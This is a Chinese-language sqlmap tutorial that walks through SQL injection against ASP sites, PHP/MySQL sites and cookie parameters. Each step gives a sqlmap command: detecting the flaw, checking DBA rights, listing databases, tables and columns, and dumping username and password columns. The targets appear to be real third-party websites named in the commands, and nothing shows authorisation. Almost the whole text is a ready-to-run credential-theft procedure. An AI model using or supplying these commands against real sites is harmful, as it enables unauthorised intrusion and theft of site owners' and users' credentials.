sqlmap（网站数据库注入）

*教程

http://www.nxadmin.com/tools/1241.html

一、ASP网站

1.

sqlmap -u “http://www.czypjx.com/News_show.asp?id=110”

-u  “检测是否存在注入”

　　返回数据库的名字

查看数据库信息及是否存在注入漏洞（绿色可以注入，黄色不可）

2.

sqlmap -u “http://www.czypjx.com/News_show.asp?id=110”   --tables

猜解出所有表名

选择"user" "admin"

3.

sqlmap -u "http://www.czypjx.com/News_show.asp?id=110" --columns -T "user"

--columns   猜列名  根据user表

4.

sqlmap -u "http://www.czypjx.com/News_show.asp?id=110" --dump -C "username,password" -T "user"

--dump  下载数据      -C “username,password” 列名

二、PHP网站(一般是mysql的数据库)

1. 检测

sqlmap -u “http://www.ggec.com.cn/oneNews.php?id=69”

2.是否dba权限

sqlmap -u “http://www.ggec.com.cn/oneNews.php?id=69”  --is-dba

3.列出所有数据库

sqlmap -u “http://www.ggec.com.cn/oneNews.php?id=69”  --dbs

4.查找自己的数据库

sqlmap -u “http://www.ggec.com.cn/oneNews.php?id=69”  --current-db

5.查询所有表名

sqlmap -u "http://www.ggec.com.cn/oneNews.php?id=69" --tables -D "ggec"

查询所有表名, 根据ggec数据库来查询

6.查询所有的列

sqlmap -u "http://www.ggec.com.cn/oneNews.php?id=69"  --colums -T “ggec_admin” -D "ggec"

“ggec_admin”是选择的表名

7.查询列的字段

sqlmap -u "http://www.ggec.com.cn/oneNews.php?id=69"  --dump -C “username，password” -T “ggec_admin” -D "ggec"

三、ASP网站的Cookie注入

1.

sqlmap -u "http://www.wisefund.com.cn/about.asp?id=56“

显示不能注入

修改为

sqlmap -u “http://www.wisefund.com.cn/about.asp  ” --cookie “id=56” --level 2

--cookie  “”  这里写ID的参数

有时这样就可以注入了

2.

sqlmap -u “http://www.wisefund.com.cn/about.asp  ” --tables --cookie “id=56” --level 2

3.

sqlmap -u “http://www.wisefund.com.cn/about.asp  ” --columns -T “user” --cookie “id=56” --level 2

4.

sqlmap -u “http://www.wisefund.com.cn/about.asp  ”--dump  -C “username,password” -T “user” --cookie “id=56” --level 2

*参考

http://wenku.baidu.com/link?url=2KJ2bgLFI3Fhknk0Pr3fAlMDmLr-jqG6fD9FaBdLqTFbNnHyVLy-NIjpgm5RsBDVoegjVFw1GAqg_QdgqljPUWKcvNyGFLIEVw3aj9ZuYwa

http://drops.wooyun.org/tips/143

http://it.100xuexi.com/view/otdetail/20131031/8158cdfa-e485-46f9-8067-a4ad4891d267.html

http://www.cnblogs.com/hongfei/p/3872156.html